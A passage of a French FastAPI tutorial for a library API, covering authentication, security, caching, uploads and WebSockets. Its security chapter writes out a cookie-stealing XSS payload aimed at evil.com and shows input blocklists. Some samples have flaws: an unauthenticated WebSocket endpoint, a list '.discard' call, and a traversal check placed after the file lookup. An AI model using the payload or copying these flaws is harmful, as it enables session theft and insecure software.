        "refresh_token": create_refresh_token(member.id),
        "token_type": "bearer",
        "expires_in": settings.ACCESS_TOKEN_EXPIRE_MINUTES * 60
    }
```

---

## [ATTENTION] Pièges Fréquents

**Piège 1 : Stocker le mot de passe en clair**
```python
# [X] CATASTROPHIQUE
member.password = "MonMotDePasse"

# [OK] Toujours hacher
member.password_hash = hash_password("MonMotDePasse")
```

**Piège 2 : SECRET_KEY trop simple en production**
```python
# [X] En production c'est un désastre
SECRET_KEY = "secret"

# [OK] Générer une vraie clé aléatoire
# python -c "import secrets; print(secrets.token_hex(32))"
SECRET_KEY = "a9f3e8c7d2b1a0f4e5c6d7b8a9f0e1c2d3b4a5f6e7c8d9b0a1f2e3c4d5b6"
```

---

## [EFFORT] Exercices de Complétion

### Exercice 10.1 — Endpoint Profil
Crée `GET /auth/me` qui retourne les infos du membre connecté (sans le hash du mot de passe !).

### Exercice 10.2 — Changement de Mot de Passe
Implémente `POST /auth/change-password` qui accepte `current_password` et `new_password`, vérifie l'ancien, et met à jour avec le nouveau haché.

### Exercice 10.3 — Refresh Token
Implémente `POST /auth/refresh` qui accepte un refresh_token et retourne un nouvel access_token.

---
---

# Chapitre 11 : Authentification Avancée et Permissions

## [OBJECTIF] Objectifs
- Protéger les routes avec `Depends`
- Implémenter le contrôle d'accès basé sur les rôles (RBAC)
- Centraliser les dépendances d'authentification

---

## [LOGIQUE] Le Système de Dépendances de FastAPI

FastAPI dispose d'un système de **Dependency Injection** (DI) très puissant. Une dépendance est une fonction qui est exécutée avant l'endpoint et dont le résultat est injecté dans l'endpoint.

```
Requête -> [Vérifier token] -> [Vérifier rôle] -> [Endpoint]
               ^                    ^
           Dépendance          Dépendance
```

Si une dépendance lève une exception, l'endpoint n'est jamais exécuté.

---

## [CODE] Dépendances d'Authentification

```python
# app/api/dependencies.py
from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from typing import AsyncGenerator

from app.db.base import AsyncSessionLocal
from app.models.member import Member, MemberRole
from app.core.security import decode_access_token

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")

# ============ SESSION DB ============

async def get_db() -> AsyncGenerator[AsyncSession, None]:
    async with AsyncSessionLocal() as session:
        try:
            yield session
            await session.commit()
        except Exception:
            await session.rollback()
            raise
        finally:
            await session.close()

# ============ AUTHENTIFICATION ============

async def get_current_member(
    token: str = Depends(oauth2_scheme),
    db: AsyncSession = Depends(get_db)
) -> Member:
    """
    Dépendance de base : vérifie le token et retourne le membre connecté.
    Utilisée dans tous les endpoints protégés.
    """
    credentials_error = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Token invalide ou expiré",
        headers={"WWW-Authenticate": "Bearer"},
    )
    
    payload = decode_access_token(token)
    if not payload:
        raise credentials_error
    
    member_id = payload.get("sub")
    if not member_id:
        raise credentials_error
    
    result = await db.execute(select(Member).where(Member.id == int(member_id)))
    member = result.scalar_one_or_none()
    
    if not member or not member.is_active:
        raise credentials_error
    
    return member  # Ce membre est injecté dans l'endpoint


async def get_current_active_member(
    current_member: Member = Depends(get_current_member)
) -> Member:
    """Variante qui vérifie en plus que le compte est actif"""
    if not current_member.is_active:
        raise HTTPException(status_code=403, detail="Compte inactif")
    return current_member


# ============ CONTRÔLE DES RÔLES ============

class RequireRole:
    """
    Dépendance factory pour vérifier les rôles.
    
    Usage :
        @router.delete("/books/{id}", dependencies=[Depends(RequireRole("admin"))])
        async def delete_book(...):
    """
    def __init__(self, *required_roles: str):
        self.required_roles = required_roles
    
    async def __call__(
        self,
        current_member: Member = Depends(get_current_active_member)
    ) -> Member:
        if current_member.role not in self.required_roles:
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail=f"Action réservée aux rôles : {', '.join(self.required_roles)}"
            )
        return current_member

# Raccourcis pratiques
require_admin = RequireRole("admin")
require_librarian = RequireRole("admin", "librarian")
require_any = RequireRole("admin", "librarian", "reader")
```

### Utilisation dans les Routes

```python
# app/api/routes/books.py — Version avec authentification
from app.api.dependencies import (
    get_db, get_current_member,
    require_admin, require_librarian
)

# Route publique — Pas de protection
@router.get("/", response_model=List[BookResponse])
async def list_books(db: AsyncSession = Depends(get_db)):
    return await BookService(db).get_all()

# Route protégée — N'importe quel membre connecté
@router.get("/my-loans", tags=["Prêts"])
async def my_loans(
    current_member: Member = Depends(get_current_member),
    db: AsyncSession = Depends(get_db)
):
    # current_member contient l'objet Member du membre connecté
    return await LoanService(db).get_member_loans(current_member.id)

# Route réservée aux admins et bibliothécaires
@router.post("/", response_model=BookResponse, status_code=201)
async def create_book(
    book: BookCreate,
    db: AsyncSession = Depends(get_db),
    _: Member = Depends(require_librarian)  # "_" car on n'utilise pas la valeur
):
    return await BookService(db).create(book)

# Route réservée aux admins uniquement
@router.delete(
    "/{book_id}",
    status_code=204,
    dependencies=[Depends(require_admin)]  # Syntaxe alternative avec dependencies=[]
)
async def delete_book(book_id: int, db: AsyncSession = Depends(get_db)):
    await BookService(db).delete(book_id)
```

### Ownership Check — Un Membre ne Peut Modifier que SES Données

```python
# app/api/routes/members.py

@router.put("/{member_id}")
async def update_member(
    member_id: int,
    member_data: MemberUpdate,
    current_member: Member = Depends(get_current_member),
    db: AsyncSession = Depends(get_db)
):
    # Un membre ne peut modifier que son propre profil
    # SAUF les admins qui peuvent modifier n'importe qui
    if current_member.id != member_id and current_member.role != "admin":
        raise HTTPException(
            status_code=403,
            detail="Vous ne pouvez modifier que votre propre profil"
        )
    
    return await MemberService(db).update(member_id, member_data)
```

---

## [EFFORT] Exercices de Complétion

### Exercice 11.1 — Dashboard Admin
Crée `GET /admin/dashboard` (admin uniquement) qui retourne :
- Nombre total de livres, membres, prêts actifs, prêts en retard
- Les 5 livres les plus empruntés

### Exercice 11.2 — Blacklist de Tokens
Implémente une blacklist (avec Redis ou en mémoire) pour invalider les tokens après déconnexion. Crée `POST /auth/logout`.

### Exercice 11.3 — Quota de Prêts
Dans `LoanService.create_loan()`, vérifie qu'un membre READER ne peut pas avoir plus de 3 prêts actifs simultanément.

---
---

# Chapitre 12 : Sécurité Applicative

## [OBJECTIF] Objectifs
- Comprendre et configurer CORS correctement
- Protéger contre les attaques communes
- Valider strictement toutes les entrées

---

## [LOGIQUE] Les Principales Menaces

**CORS (Cross-Origin Resource Sharing)** : Si ton API est sur `api.libraflow.com` et ton frontend sur `app.libraflow.com`, le navigateur bloque les requêtes par défaut. CORS définit quels origines sont autorisées à appeler ton API.

**XSS (Cross-Site Scripting)** : Injection de code malveillant via des champs de texte. Le hacker envoie `<script>document.location='evil.com?cookie='+document.cookie</script>` comme titre de livre.

**Injection SQL** : Envoyer du SQL dans les paramètres. SQLAlchemy avec ses requêtes paramétrées te protège automatiquement — mais attention aux requêtes SQL brutes !

**Brute Force** : Essayer des milliers de mots de passe. Le rate limiting (chapitre 9) protège contre ça.

---

## [CODE] Configuration de Sécurité Complète

```python
# app/core/security_config.py
from pydantic import BaseModel
from typing import List
from app.core.config import settings

class CORSConfig(BaseModel):
    """Configuration CORS selon l'environnement"""
    
    @staticmethod
    def get_allowed_origins() -> List[str]:
        if settings.ENVIRONMENT == "production":
            return [
                "https://libraflow.com",
                "https://app.libraflow.com",
                "https://admin.libraflow.com"
            ]
        elif settings.ENVIRONMENT == "staging":
            return ["https://staging.libraflow.com"]
        else:
            # Développement : plus permissif
            return [
                "http://localhost:3000",  # React/Next.js
                "http://localhost:5173",  # Vite
                "http://127.0.0.1:3000",
            ]
```

```python
# app/main.py — Configuration CORS complète
from fastapi.middleware.cors import CORSMiddleware
from app.core.security_config import CORSConfig

app.add_middleware(
    CORSMiddleware,
    allow_origins=CORSConfig.get_allowed_origins(),
    allow_credentials=True,          # Autorise les cookies de session
    allow_methods=["*"],             # Ou liste explicite pour plus de contrôle
    allow_headers=["Authorization", "Content-Type", "X-Requested-With"],
    max_age=600,                     # Cache la réponse preflight 10 minutes
)
```

### Protection contre l'Injection via Pydantic

```python
# app/schemas/book.py — Validation renforcée
import re
from pydantic import BaseModel, Field, validator

# Caractères dangereux à bloquer
DANGEROUS_CHARS = re.compile(r'[<>"\';\\]')

class BookCreate(BaseModel):
    title: str = Field(..., min_length=1, max_length=200)
    description: Optional[str] = Field(None, max_length=2000)
    
    @validator("title", "description")
    def sanitize_text(cls, v):
        if v and DANGEROUS_CHARS.search(v):
            raise ValueError("Caractères non autorisés détectés")
        return v
    
    @validator("title")
    def no_html_injection(cls, v):
        """Empêche l'injection HTML/XSS"""
        if v and ("<" in v or ">" in v or "script" in v.lower()):
            raise ValueError("Contenu HTML non autorisé")
        return v
```

### Variables d'Environnement Sécurisées

```python
# app/core/config.py — Version sécurisée
from pydantic import BaseSettings, validator
import secrets

class Settings(BaseSettings):
    SECRET_KEY: str = "dev-key-change-in-production"
    DATABASE_URL: str = "sqlite+aiosqlite:///./libraflow.db"
    ENVIRONMENT: str = "development"
    
    # Paramètres SMTP (pour les emails)
    SMTP_SERVER: str = "smtp.gmail.com"
    SMTP_PORT: int = 587
    SMTP_USER: str = ""
    SMTP_PASSWORD: str = ""  # Doit venir du .env !
    
    @validator("SECRET_KEY")
    def check_secret_key(cls, v, values):
        if values.get("ENVIRONMENT") == "production" and len(v) < 32:
            raise ValueError("SECRET_KEY doit faire au moins 32 caractères en production")
        return v
    
    class Config:
        env_file = ".env"

settings = Settings()
```

### Fichier `.gitignore` Essentiel

```gitignore
# .gitignore — Fichiers à ne JAMAIS committer
.env
.env.local
.env.production
*.pyc
__pycache__/
venv/
.venv/
*.db
uploads/
*.log
```

---

## [ATTENTION] Checklist de Sécurité LibraFlow

Avant chaque déploiement, vérifie :

```
[ ] SECRET_KEY est une vraie clé aléatoire de 32+ caractères
[ ] DATABASE_URL est dans .env, pas dans le code
[ ] CORS ne contient pas "allow_origins=['*']" en production
[ ] Les mots de passe sont tous hachés avec bcrypt
[ ] response_model filtre les champs sensibles sur chaque endpoint
[ ] HTTPException avec status_code=401/403 sur les routes protégées
[ ] Rate limiting activé (surtout sur /auth/login)
[ ] Logs actifs mais sans données sensibles (mots de passe, tokens)
[ ] .env dans .gitignore
[ ] docs_url=None en production (ou protégé par auth)
```

---

## [EFFORT] Exercices de Complétion

### Exercice 12.1 — Audit de Sécurité
Passe en revue le code de LibraFlow créé jusqu'ici et identifie 3 risques de sécurité potentiels. Documente-les et propose une correction pour chacun.

### Exercice 12.2 — 2FA Simple
Implémente un système de vérification d'email lors de l'inscription : génère un code à 6 chiffres, "envoie-le" (print dans la console pour l'instant), et crée `POST /auth/verify-email` pour valider le code.

### Exercice 12.3 — Logs de Connexion
Crée une table `LoginLog` (member_id, ip_address, success, timestamp) et enregistre chaque tentative de connexion (réussie ou non).

---

## [BRAVO] Récapitulatif de la Partie 3

| Compétence | Niveau |
|---|---|
| Implémenter JWT avec access et refresh tokens | [OK] |
| Hacher les mots de passe avec bcrypt | [OK] |
| Protéger les routes avec Depends | [OK] |
| Créer un système de rôles (RBAC) | [OK] |
| Configurer CORS selon l'environnement | [OK] |
| Valider et sanitiser les entrées | [OK] |

**Prochaine étape ->** `04_PARTIE4_Performance.md` : async, caching Redis, et optimisations !

# [RAPIDE] PARTIE 4 — Performance et Asynchronisme
## Chapitres 13 à 14 : Rendre LibraFlow Ultra-Rapide

---

# Chapitre 13 : Programmation Asynchrone

## [OBJECTIF] Objectifs
- Comprendre concrètement sync vs async
- Utiliser async/await dans FastAPI
- Implémenter les tâches de fond avec BackgroundTasks

---

## [LOGIQUE] Async vs Sync : La Vraie Différence

Imagine un serveur de restaurant. En mode **synchrone**, le serveur prend la commande de la table 1, va en cuisine, attend que le plat soit prêt, revient, sert la table 1, puis s'occupe enfin de la table 2. La table 2 attend pendant tout ce temps.

En mode **asynchrone**, le serveur prend la commande de la table 1, passe la commande en cuisine, va immédiatement s'occuper de la table 2, puis de la table 3 — et quand le plat de la table 1 est prêt, il va le servir.

```
SYNCHRONE                     ASYNCHRONE
Requête 1 -> [attend DB 200ms] -> réponse    Requête 1 -> [attend DB...]
                                           Requête 2 -> [attend DB...]   -> réponse 1
                                           Requête 3 -> [attend DB...]   -> réponse 2
                                                                         -> réponse 3
Total : 600ms                             Total : ~210ms (5x plus rapide !)
```

Le mot-clé `await` signifie "je suspend cette fonction ici — va gérer autre chose pendant que j'attends".

---

## [CODE] Async dans LibraFlow

### La Règle Fondamentale

```python
# RÈGLE D'OR :
# - Opération I/O (base de données, API externe, fichier) -> async def + await
# - Calcul pur (CPU) -> def normale (ou executor pour les calculs lourds)

# [OK] Bon — accès DB = I/O
async def get_books(db: AsyncSession):
    result = await db.execute(select(Book))  # await car appel I/O
    return result.scalars().all()

# [OK] Bon — calcul pur = pas besoin d'async
def calculate_statistics(loans: list) -> dict:
    total = len(loans)
    overdue = sum(1 for l in loans if l.is_overdue)
    return {"total": total, "overdue": overdue}

# [X] Problème — bloquer une async function avec une lib synchrone
async def bad_example(db):
    import time
    time.sleep(2)  # BLOQUE tout le serveur pendant 2 secondes !
    # Utilise à la place : await asyncio.sleep(2)
```

### Background Tasks — Tâches Non-Bloquantes

Les **BackgroundTasks** permettent d'exécuter une tâche APRÈS avoir envoyé la réponse au client. Parfait pour envoyer un email de confirmation sans faire attendre l'utilisateur.

```python
# app/api/routes/loans.py
from fastapi import BackgroundTasks
from app.services.notification_service import NotificationService

async def send_loan_notification(member_email: str, book_title: str, due_date: str):
    """Cette fonction s'exécute en arrière-plan"""
    # Simulation d'envoi d'email (on verra l'implémentation au chapitre 18)
    print(f"[EMAIL] Email envoyé à {member_email} : livre '{book_title}' emprunté, retour avant {due_date}")
    # En vrai : await send_email(member_email, ...)

@router.post("/", status_code=201, summary="Emprunter un livre")
async def create_loan(
    book_id: int,
    background_tasks: BackgroundTasks,  # FastAPI l'injecte automatiquement
    current_member: Member = Depends(get_current_member),
    db: AsyncSession = Depends(get_db)
):
    loan = await LoanService(db).create_loan(current_member.id, book_id)
    
    # On ajoute la tâche de fond APRÈS la logique principale
    # Le client reçoit sa réponse immédiatement
    # L'email est envoyé ensuite, sans le faire attendre
    background_tasks.add_task(
        send_loan_notification,
        member_email=current_member.email,
        book_title=loan.book.title,
        due_date=loan.due_date.strftime("%d/%m/%Y")
    )
    
    return loan  # La réponse est envoyée ici, l'email part après
```

### Appels HTTP Asynchrones Vers des APIs Externes

```python
# app/services/external_service.py
import httpx  # Version async de requests
# pip install httpx

class OpenLibraryService:
    """Enrichit les données des livres via l'API Open Library"""
    
    BASE_URL = "https://openlibrary.org"
    
    async def get_book_info(self, isbn: str) -> dict:
        """Récupère les infos d'un livre depuis Open Library"""
        async with httpx.AsyncClient(timeout=10.0) as client:
            try:
                response = await client.get(
                    f"{self.BASE_URL}/api/books",
                    params={"bibkeys": f"ISBN:{isbn}", "format": "json", "jscmd": "data"}
                )
                response.raise_for_status()
                data = response.json()
                return data.get(f"ISBN:{isbn}", {})
            except httpx.TimeoutException:
                return {}  # Retourne vide si timeout
            except httpx.HTTPError:
                return {}

# Dans le service de livres :
async def enrich_book_from_isbn(self, book: Book) -> Book:
    if book.isbn:
        service = OpenLibraryService()
        external_data = await service.get_book_info(book.isbn)
        if external_data and not book.description:
            book.description = external_data.get("description", {}).get("value", "")
    return book
```

---

## [ATTENTION] Pièges Fréquents

**Piège 1 : Mélanger sync et async avec SQLAlchemy**
```python
# [X] Utiliser une session sync dans une fonction async
async def bad(db):
    books = db.query(Book).all()  # Bloque ! C'est l'API synchrone

# [OK] Utiliser l'API asynchrone
async def good(db: AsyncSession):
    result = await db.execute(select(Book))
    return result.scalars().all()
```

**Piège 2 : Oublier d'await**
```python
# [X] Sans await — retourne une coroutine, pas le résultat !
books = BookService(db).get_all()  # Oubli du await

# [OK] Avec await
books = await BookService(db).get_all()
```

---

## [EFFORT] Exercices de Complétion

### Exercice 13.1 — Tâche de Fond : Rapport Quotidien
Crée une route `POST /admin/send-daily-report` qui retourne immédiatement `{"message": "Rapport en cours de génération"}` et génère en arrière-plan un récapitulatif des prêts du jour (affiché en console).

### Exercice 13.2 — Async Concurrent
Dans `GET /books/{id}`, après avoir récupéré le livre, fais deux appels simultanés (avec `asyncio.gather`) : récupérer les avis du livre ET récupérer les livres du même auteur.

---
---

# Chapitre 14 : Optimisation et Caching avec Redis

## [OBJECTIF] Objectifs
- Implémenter le caching pour les endpoints fréquents
- Paginer efficacement les résultats
- Comprendre quand et quoi mettre en cache

---

## [LOGIQUE] Pourquoi le Cache ?

Certaines données changent rarement mais sont demandées très souvent. La liste des catégories de LibraFlow ne change probablement pas toutes les secondes — pourquoi recalculer et aller en BDD à chaque requête ?

```
Sans cache :
100 requêtes/seconde × 50ms (requête DB) = serveur saturé

Avec cache :
Requête 1 : DB en 50ms -> stocké en Redis (1ms)
Requêtes 2-100 : Redis en 1ms -> 50x plus rapide !
```

**Redis** est une base de données clé-valeur **en mémoire** — ultra-rapide pour le stockage temporaire.

---

## [CODE] Caching dans LibraFlow

```bash
pip install redis aioredis
```

### Service de Cache

```python
# app/services/cache_service.py
import json
import aioredis
from typing import Any, Optional
from app.core.config import settings

class CacheService:
    """Service de cache Redis pour LibraFlow"""
    
    def __init__(self):
        self.redis = None
    
    async def connect(self):
        self.redis = await aioredis.create_redis_pool(
            settings.REDIS_URL or "redis://localhost:6379",
            encoding="utf-8"
        )
    
    async def get(self, key: str) -> Optional[Any]:
        """Récupère une valeur du cache"""
        if not self.redis:
            return None
        value = await self.redis.get(key)
        if value:
            return json.loads(value)
        return None
    
    async def set(self, key: str, value: Any, expire_seconds: int = 300):
        """Stocke une valeur dans le cache"""
        if self.redis:
            await self.redis.setex(
                key,
                expire_seconds,
                json.dumps(value, default=str)  # default=str gère datetime
            )
    
    async def delete(self, key: str):
        """Invalide un cache"""
        if self.redis:
            await self.redis.delete(key)
    
    async def delete_pattern(self, pattern: str):
        """Invalide tous les caches correspondant à un pattern"""
        if self.redis:
            keys = await self.redis.keys(pattern)
            if keys:
                await self.redis.delete(*keys)

# Instance globale
cache = CacheService()
```

### Décorateur de Cache

```python
# app/core/cache.py
import functools
import hashlib
import json
from app.services.cache_service import cache

def cached(expire: int = 300, key_prefix: str = ""):
    """
    Décorateur pour mettre en cache le résultat d'une fonction async.
    
    Usage :
        @cached(expire=60, key_prefix="books")
        async def get_popular_books(db):
            ...
    """
    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            # Construit une clé unique basée sur les arguments
            cache_key = f"{key_prefix}:{func.__name__}:{hashlib.md5(str(kwargs).encode()).hexdigest()}"
            
            # Vérifie si la valeur est en cache
            cached_value = await cache.get(cache_key)
            if cached_value is not None:
                return cached_value
            
            # Exécute la fonction et met en cache
            result = await func(*args, **kwargs)
            
            # Sérialise et stocke (les objets Pydantic doivent être convertis)
            if hasattr(result, "dict"):
                await cache.set(cache_key, result.dict(), expire)
            elif isinstance(result, list):
                await cache.set(cache_key, [r.dict() if hasattr(r, "dict") else r for r in result], expire)
            else:
                await cache.set(cache_key, result, expire)
            
            return result
        return wrapper
    return decorator
```

### Caching dans les Routes

```python
# app/api/routes/books.py
from app.services.cache_service import cache

@router.get("/categories", summary="Liste des catégories")
async def get_categories(db: AsyncSession = Depends(get_db)):
    """
    Les catégories changent rarement — on met en cache 10 minutes.
    Stratégie "cache-aside" : on vérifie le cache, si vide on va en DB.
    """
    cache_key = "books:categories:all"
    
    # 1. Vérifie le cache
    cached = await cache.get(cache_key)
    if cached:
        return cached  # Retour ultra-rapide depuis Redis
    
    # 2. Pas en cache -> va en DB
    result = await db.execute(
        select(Book.category).distinct().where(Book.category.isnot(None))
    )
    categories = [row[0] for row in result.fetchall()]
    
    # 3. Stocke en cache pour 10 minutes
    await cache.set(cache_key, categories, expire_seconds=600)
    
    return categories

# Invalider le cache quand les données changent
@router.post("/", status_code=201)
async def create_book(book: BookCreate, db: AsyncSession = Depends(get_db)):
    new_book = await BookService(db).create(book)
    
    # Le livre est créé -> les catégories pourraient avoir changé
    await cache.delete("books:categories:all")
    # Invalide aussi toutes les listes de livres en cache
    await cache.delete_pattern("books:list:*")
    
    return new_book
```

### Pagination Efficace

```python
# app/schemas/pagination.py
from pydantic import BaseModel
from typing import Generic, TypeVar, List

T = TypeVar("T")

class PaginatedResponse(BaseModel, Generic[T]):
    """Réponse paginée standardisée pour LibraFlow"""
    items: List[T]
    total: int          # Nombre total d'éléments
    skip: int           # Éléments ignorés
    limit: int          # Éléments par page
    pages: int          # Nombre total de pages
    has_next: bool      # Y a-t-il une page suivante ?
    has_prev: bool      # Y a-t-il une page précédente ?

# app/services/book_service.py
from sqlalchemy import func

async def get_paginated(self, skip: int = 0, limit: int = 10) -> dict:
    """Requête avec COUNT efficace"""
    # Compte total en une seule requête (pas de chargement de tous les objets)
    count_result = await self.db.execute(select(func.count(Book.id)))
    total = count_result.scalar()
    
    # Récupère uniquement les éléments demandés
    result = await self.db.execute(
        select(Book).offset(skip).limit(limit).order_by(Book.title)
    )
    books = result.scalars().all()
    
    return {
        "items": books,
        "total": total,
        "skip": skip,
        "limit": limit,
        "pages": (total + limit - 1) // limit,  # Arrondi supérieur
        "has_next": skip + limit < total,
        "has_prev": skip > 0
    }
```

---

## [EFFORT] Exercices de Complétion

### Exercice 14.1 — Cache de Session Utilisateur
Quand un membre se connecte, stocke ses infos dans Redis (clé : `member:{id}`, expire : 30 min). Dans `get_current_member`, vérifie d'abord le cache Redis avant d'aller en DB.

### Exercice 14.2 — Statistiques avec Cache
Crée `GET /stats` qui retourne des statistiques globales (nombre de livres, membres, prêts). Cache le résultat 5 minutes. Quand un prêt est créé ou retourné, invalide ce cache.

### Exercice 14.3 — Cursor-Based Pagination
Implémente une pagination basée sur un curseur (plus efficace pour les grandes tables) :
`GET /books?after=50` retourne les 10 livres avec id > 50.

---

## [BRAVO] Récapitulatif de la Partie 4

| Compétence | Niveau |
|---|---|
| Différencier sync et async, savoir quand utiliser lequel | [OK] |
| Utiliser BackgroundTasks pour ne pas bloquer le client | [OK] |
| Appeler des APIs externes en async avec httpx | [OK] |
| Mettre en cache avec Redis | [OK] |
| Implémenter une pagination efficace avec total | [OK] |

**Prochaine étape ->** `05_PARTIE5_Communication.md` : uploads, WebSockets et emails !

# [RESEAU] PARTIE 5 — Communication et Intégrations
## Chapitres 15 à 18 : Uploads, WebSockets, Emails

---

# Chapitre 15 : Uploads et Downloads de Fichiers

## [OBJECTIF] Objectifs
- Gérer l'upload de fichiers (couvertures de livres, PDFs)
- Servir des fichiers statiques et en streaming
- Générer des exports CSV et PDF

---

## [CODE] Upload de Fichiers dans LibraFlow

```python
# app/api/routes/files.py
from fastapi import APIRouter, UploadFile, File, HTTPException, Depends
from fastapi.responses import FileResponse, StreamingResponse
from pathlib import Path
import shutil
import uuid
import aiofiles  # pip install aiofiles
import csv
import io

from app.api.dependencies import get_current_member, require_librarian
from app.core.config import settings

router = APIRouter(prefix="/files", tags=["[DOSSIER] Fichiers"])

ALLOWED_IMAGE_TYPES = {"image/jpeg", "image/png", "image/webp"}
ALLOWED_PDF_TYPES = {"application/pdf"}
MAX_IMAGE_SIZE = 5 * 1024 * 1024   # 5 MB
MAX_PDF_SIZE = 50 * 1024 * 1024    # 50 MB

def validate_file(file: UploadFile, allowed_types: set, max_size: int):
    """Valide le type et la taille d'un fichier uploadé"""
    if file.content_type not in allowed_types:
        raise HTTPException(
            status_code=415,
            detail=f"Type de fichier non autorisé. Acceptés : {', '.join(allowed_types)}"
        )
    # Vérification de la taille via les headers (si disponible)
    # Pour une vérification stricte, on lit le fichier et mesure sa taille

@router.post("/books/{book_id}/cover", summary="Uploader la couverture d'un livre")
async def upload_book_cover(
    book_id: int,
    file: UploadFile = File(..., description="Image de couverture (JPEG, PNG, WebP)"),
    _=Depends(require_librarian)
):
    """
    Upload une image de couverture pour un livre.
    Taille max : 5 MB. Formats : JPEG, PNG, WebP.
    """
    validate_file(file, ALLOWED_IMAGE_TYPES, MAX_IMAGE_SIZE)
    
    # Crée un nom de fichier unique pour éviter les collisions
    extension = file.filename.split(".")[-1].lower()
    filename = f"cover_{book_id}_{uuid.uuid4().hex[:8]}.{extension}"
    
    # Chemin de stockage
    upload_dir = Path(settings.UPLOAD_DIRECTORY) / "covers"
    upload_dir.mkdir(parents=True, exist_ok=True)
    file_path = upload_dir / filename
    
    # Écriture asynchrone du fichier
    async with aiofiles.open(file_path, "wb") as f:
        content = await file.read()
        
        # Vérification de la taille APRÈS lecture
        if len(content) > MAX_IMAGE_SIZE:
            raise HTTPException(413, f"Fichier trop volumineux (max {MAX_IMAGE_SIZE // 1024 // 1024} MB)")
        
        await f.write(content)
    
    # TODO: Mettre à jour le chemin de couverture dans la BDD
    
    return {
        "filename": filename,
        "url": f"/files/covers/{filename}",
        "size_kb": len(content) // 1024
    }

@router.get("/covers/{filename}", summary="Télécharger une couverture")
async def get_cover(filename: str):
    """Sert une image de couverture"""
    file_path = Path(settings.UPLOAD_DIRECTORY) / "covers" / filename
    
    if not file_path.exists():
        raise HTTPException(404, "Fichier introuvable")
    
    # Sécurité : empêche la traversée de répertoire (../../../etc/passwd)
    if ".." in filename or "/" in filename:
        raise HTTPException(400, "Nom de fichier invalide")
    
    return FileResponse(file_path, media_type="image/jpeg")

@router.get("/export/loans/csv", summary="Exporter les prêts en CSV")
async def export_loans_csv(
    db=Depends(get_db),
    _=Depends(require_librarian)
):
    """Génère et télécharge un fichier CSV de tous les prêts"""
    # Récupère les prêts depuis la DB
    loans = await LoanService(db).get_all()
    
    # Génère le CSV en mémoire (pas de fichier temporaire)
    output = io.StringIO()
    writer = csv.writer(output, delimiter=";")
    
    # En-tête
    writer.writerow(["ID", "Membre", "Livre", "Date emprunt", "Date retour prévu", "Retourné"])
    
    # Données
    for loan in loans:
        writer.writerow([
            loan.id,
            loan.member.full_name,
            loan.book.title,
            loan.loaned_at.strftime("%d/%m/%Y"),
            loan.due_date.strftime("%d/%m/%Y"),
            "Oui" if loan.is_returned else "Non"
        ])
    
    output.seek(0)
    
    # StreamingResponse envoie le fichier sans le stocker sur le disque
    return StreamingResponse(
        iter([output.getvalue()]),
        media_type="text/csv",
        headers={"Content-Disposition": "attachment; filename=prets_libraflow.csv"}
    )
```

---

## [EFFORT] Exercices de Complétion

### Exercice 15.1 — Upload Multiple
Modifie l'endpoint pour accepter plusieurs images à la fois (`List[UploadFile]`) et retourner la liste des URLs générées.

### Exercice 15.2 — Export PDF
Avec la bibliothèque `reportlab` ou `weasyprint`, génère un rapport PDF des livres les plus empruntés du mois avec mise en page professionnelle.

---
---

# Chapitre 16 : WebSockets et Notifications Temps Réel

## [OBJECTIF] Objectifs
- Implémenter un système de notifications temps réel
- Créer un gestionnaire de connexions WebSocket
- Notifier les membres quand un livre réservé est disponible

---

## [LOGIQUE] Pourquoi les WebSockets ?

HTTP est unidirectionnel : le client demande, le serveur répond. Mais que faire si le serveur veut prévenir le client d'un événement (nouveau message, notification) ? Avec HTTP classique, le client doit "poller" (vérifier toutes les X secondes). Les WebSockets créent une **connexion bidirectionnelle persistante**.

---

## [CODE] WebSockets dans LibraFlow

```python
# app/api/routes/notifications.py
from fastapi import APIRouter, WebSocket, WebSocketDisconnect, Depends
from typing import Dict, List
import json
import asyncio

router = APIRouter(prefix="/ws", tags=["[NOTIF] Notifications"])

class ConnectionManager:
    """
    Gère toutes les connexions WebSocket actives.
    Stocke les connexions par member_id pour envoyer des notifications ciblées.
    """
    
    def __init__(self):
        # Dict: member_id -> liste de connexions WebSocket
        # (un membre peut être connecté depuis plusieurs onglets)
        self.active_connections: Dict[int, List[WebSocket]] = {}
    
    async def connect(self, websocket: WebSocket, member_id: int):
        """Accepte et enregistre une nouvelle connexion"""
        await websocket.accept()
        if member_id not in self.active_connections:
            self.active_connections[member_id] = []
        self.active_connections[member_id].append(websocket)
        print(f"[PLUGIN] Membre {member_id} connecté. Total: {self.total_connections} connexions")
    
    def disconnect(self, websocket: WebSocket, member_id: int):
        """Retire une connexion fermée"""
        if member_id in self.active_connections:
            self.active_connections[member_id].discard(websocket)
            if not self.active_connections[member_id]:
                del self.active_connections[member_id]
    
    @property
    def total_connections(self) -> int:
        return sum(len(conns) for conns in self.active_connections.values())
    
    async def send_to_member(self, member_id: int, message: dict):
        """Envoie un message JSON à toutes les connexions d'un membre"""
        if member_id in self.active_connections:
            message_str = json.dumps(message)
            dead_connections = []
            
            for websocket in self.active_connections[member_id]:
                try:
                    await websocket.send_text(message_str)
                except Exception:
                    dead_connections.append(websocket)
            
            # Nettoie les connexions mortes
            for ws in dead_connections:
                self.disconnect(ws, member_id)
    
    async def broadcast(self, message: dict):
        """Envoie un message à TOUS les membres connectés"""
        for member_id in list(self.active_connections.keys()):
            await self.send_to_member(member_id, message)

# Instance globale du gestionnaire
manager = ConnectionManager()

@router.websocket("/notifications/{member_id}")
async def notification_websocket(
    websocket: WebSocket,
    member_id: int
):
    """
    Endpoint WebSocket pour les notifications temps réel.
    
    Le client se connecte avec :
    const ws = new WebSocket("ws://api.libraflow.com/ws/notifications/42");
    ws.onmessage = (event) => { const data = JSON.parse(event.data); ... }
    """
    await manager.connect(websocket, member_id)
    
    # Envoie un message de bienvenue
    await websocket.send_json({
        "type": "connected",
        "message": "Connexion aux notifications établie",
        "member_id": member_id
    })
    
    try:
        # Maintient la connexion ouverte et traite les messages entrants
        while True:
            # Attend les messages du client (ping/pong, etc.)
            data = await websocket.receive_text()
            message = json.loads(data)
            
            # Gère les pings du client
            if message.get("type") == "ping":
                await websocket.send_json({"type": "pong"})
    
    except WebSocketDisconnect:
        manager.disconnect(websocket, member_id)
        print(f"[PLUGIN] Membre {member_id} déconnecté")


